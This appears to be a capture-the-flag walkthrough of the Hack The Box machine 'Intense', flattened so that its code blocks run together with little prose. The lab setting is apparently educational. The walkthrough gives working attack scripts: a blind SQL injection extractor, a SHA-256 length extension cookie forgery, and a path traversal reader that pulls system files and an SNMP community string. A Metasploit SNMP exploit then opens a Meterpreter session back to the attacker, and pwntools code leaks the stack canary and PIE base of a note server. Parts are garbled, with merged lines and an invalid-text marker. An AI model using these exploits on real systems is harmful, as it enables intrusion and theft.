SQL Injection, Hash Length Extension, LFI and binary exploitation
SUBSTR()aLOAD_EXTENSION('b')PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
| 256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
|_ 256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Intense - WebApp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelauth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.Lye5tjuupon4SLXjM0Jpc/l6Xkm5+POtT6xFlDtho3I=username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;
<<invalid text>>def sign(msg):
""" Sign message with secret key """
return sha256(SECRET + msg).digest()SECRET = os.urandom(randrange(8, 15))@app.route("/submitmessage", methods=["POST"])
def submitmessage():
message = request.form.get("message", '')
if len(message) > 140:
return "message too long"
if badword_in_str(message):
return "forbidden word in message"
# insert new message in DB
try:
query_db("insert into messages values ('%s')" % message)
except sqlite3.Error as e:
return str(e)
return "OK"def try_login(form):
""" Try to login with the submitted user info """
if not form:
return None
username = form["username"]
password = hash_password(form["password"])
result = query_db("select count(*) from users where username = ? and secret = ?", (username, password), one=True)
if result and result[0]:
return {"username": username, "secret":password}
return None@app.route("/postlogin", methods=["POST"])
def postlogin():
# return user's info if exists
data = try_login(request.form)
if data:
resp = make_response("OK")
# create new cookie session to authenticate user
session = lwt.create_session(data)
cookie = lwt.create_cookie(session)
resp.set_cookie("auth", cookie)
return resp
return "Login failed"def create_session(data):
""" Create session based on dict
@data: {"key1":"value1","key2":"value2"}
return "key1=value1;key2=value2;"
"""
session = ""
for k, v in data.items():
session += f"{k}={v};"
return session.encode()yes') UNION SELECT CASE SUBSTR(username,0,1) WHEN 'a' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--from requests import post
from string import printable
guest = 'guest_________' # if len(username) > 5 to get no index errors
name = ""
i = 0
for i in range(10): # assuming it's a maximum of 10 long
for char in printable:
message = f"yes') UNION SELECT CASE SUBSTR(username,{i + 1},1) WHEN '{char}' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--"
data = {'message': message}
r = post('http://intense.htb/submitmessage', data=data)
if r.text == "not authorized":
if char != guest[i]:
name += char
print(f"char found: {char}")
print(name)char found: a
char found: d
char found: m
char found: i
char found: n
adminfrom requests import post
from string import hexdigits
guest = '84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec'
admin = ''
i = 0
for i in range(0, len(guest)):
for char in hexdigits:
message = f"yes') UNION SELECT CASE SUBSTR(secret,{i + 1},1) WHEN '{char}' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--"
data = {'message': message}
r = post('http://intense.htb/submitmessage', data=data)
if r.text == "not authorized":
if char != guest[i]:
admin += char
print(f"char found: {char}")
# if at the end of trying all digits the secret isn't the expected length,
# it must have shared a digit with the guest secret and we skipped over it
# so we'll just append it
if len(admin) != (i + 1):
char = guest[i]
admin += char
print(f"char found: {char}")
print(admin)$echo -n 'f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105' | wc -c
64from base64 import b64encode
from requests import get
from hashpumpy import hashpump
current = b'username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;'
signature = b'2f27b9b63baea689f848b5e333426973f97a5e49b9f8f3ad4fac45943b61a372' # change per instance!
append = b';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
for x in range(8, 15):
new_signature, value = hashpump(signature, current, append, x)
cookie = b64encode(value) + b'.' + b64encode(bytes.fromhex(new_signature))
r = get('http://intense.htb/admin', cookies={'auth' : cookie.decode()})
if r.status_code != 403:
print(cookie)dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Kj3kZb1zkyyn0eUdcAEy/u2k0TZJWvUAIDCmPuLqdNU=@admin.route("/admin/log/view", methods=["POST"])
def view_log():
if not is_admin(request):
abort(403)
logfile = request.form.get("logfile")
if logfile:
logcontent = admin_view_log(logfile)
return logcontent
return ''
@admin.route("/admin/log/dir", methods=["POST"])
def list_log():
if not is_admin(request):
abort(403)
logdir = request.form.get("logdir")
if logdir:
logdir = admin_list_log(logdir)
return str(logdir)
return ''def admin_view_log(filename):
if not path.exists(f"logs/{filename}"):
return f"Can't find {filename}"
with open(f"logs/{filename}") as out:
return out.read()
def admin_list_log(logdir):
if not path.exists(f"logs/{logdir}"):
return f"Can't find {logdir}"
return listdir(logdir)from requests import post
cookies = {'auth': 'dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Kj3kZb1zkyyn0eUdcAEy/u2k0TZJWvUAIDCmPuLqdNU='}
while True:
read = input('>>> ')
cmd, *folder = read.split()
if cmd == 'ls':
loc = '../' * 8 + '..' + ''.join(folder)
r = post('http://intense.htb/admin/log/dir', cookies=cookies, data={'logdir': loc})
files = '\n'.join(eval(r.text))
print(files)
else:
loc = '../' * 8 + '..' + read
r = post('http://intense.htb/admin/log/view', cookies=cookies, data={'logfile': loc})
print(r.text.rstrip())>>> /home/user/user.txt
6b5...>>> /etc/snmp/snmpd.conf
[...]
rocommunity public default -V systemonly
rwcommunity SuP3RPrivCom90
[...]msf6 exploit(linux/snmp/net_snmpd_rw_access) > set COMMUNITY SuP3RPrivCom90
COMMUNITY => SuP3RPrivCom90
msf6 exploit(linux/snmp/net_snmpd_rw_access) > set RHOSTS intense.htb
RHOSTS => intense.htb
msf6 exploit(linux/snmp/net_snmpd_rw_access) > set LHOST tun0
LHOST => tun0
msf6 exploit(linux/snmp/net_snmpd_rw_access) > runnetstat -tunlp
[...]
tcp 0 0 127.0.0.1:5001 0.0.0.0:* LISTEN -
[...]meterpreter > download note_server
meterpreter > download note_server.c$ netstat -tunlp | grep note_server
tcp 0 0 127.0.0.1:5001 0.0.0.0:* LISTEN 9264/./note_server/* Initialize socket structure */
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = 5001;$ ldd note_server
linux-vdso.so.1 (0x00007ffee41ec000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f12b4eba000)
/lib64/ld-linux-x86-64.so.2 (0x00007f12b54ae000)meterpreter > download /lib/x86_64-linux-gnu/libc.so.6
meterpreter > download /lib64/ld-linux-x86-64.so.2switch(cmd) {
// write note
case 1:
if (read(sock, &buf_size, 1) != 1) {
exit(1);
}
// prevent user to write over the buffer
if (index + buf_size > BUFFER_SIZE) {
exit(1);
}
// write note
if (read(sock, ¬e[index], buf_size) != buf_size) {
exit(1);
}
index += buf_size;
break;
// copy part of note to the end of the note
case 2:
// get offset from user want to copy
if (read(sock, &offset, 2) != 2) {
exit(1);
}
// sanity check: offset must be > 0 and < index
if (offset < 0 || offset > index) {
exit(1);
}
// get the size of the buffer we want to copy
if (read(sock, ©_size, 1) != 1) {
exit(1);
}
// prevent user to write over the buffer's note
if (index > BUFFER_SIZE) {
exit(1);
}
// copy part of the buffer to the end
memcpy(¬e[index], ¬e[offset], copy_size);
index += copy_size;
break;
// show note
case 3:
write(sock, note, index);
return;
}from pwn import *
elf = context.binary = ELF('./note_server')
if args.REMOTE:
libc = ELF('./libc-remote.so')
p = process('127.0.0.1', 5002) # for the portfwd
else:
libc = elf.libc
p = process('127.0.0.1', 5001)
### Wrapper Functions
def write(data):
if isinstance(data, str):
data = data.encode()
p.send(b'\x01' + p8(len(data)) + data)
def copy(start=0, length=100):
p.send(b'\x02' + p16(start) + p8(length))
def read():
p.send(b'\x03')
return p.clean(0.5)write('A' * 0xff)
write('B' * 0xff)
write('C' * 0xff)
copy(start=0xff*3, length=250)
print(read())write('A' * 0xff) # 255
write('B' * 0xff) # 510
write('C' * 0xff) # 765
write('D' * 0xff) # 1020
write('E' * 4) # 1024
copy(start=1024, length=32)
leaks = read()[1024:]
addrs = [u64(leaks[addr:addr+8]) for addr in range(0, len(leaks), 8)]
[print(hex(addr)) for addr in addrs]0x7ffe9d91bbe0
0xdc185629f84e5a00 canary
0x7ffe9d91bbe0 rbp
0x565150b24f54 ripleaks = read()[1032:]
canary = u64(leaks[:8])
log.success(f'Canary: {hex(canary)}')
ret_pointer = u64(leaks[16:24])
elf.address = ret_pointer - 0xf54
log.success(f'PIE Base: {hex(elf.address)}')def deliver_payload(payload):
payload = 'A' * 12 + payload
payload = payload.ljust(0xff, 'A')
write(payload)
write('B' * 0xff)
write('C' * 0xff)
write('D' * 0xff)
copy(12 + len(payload))


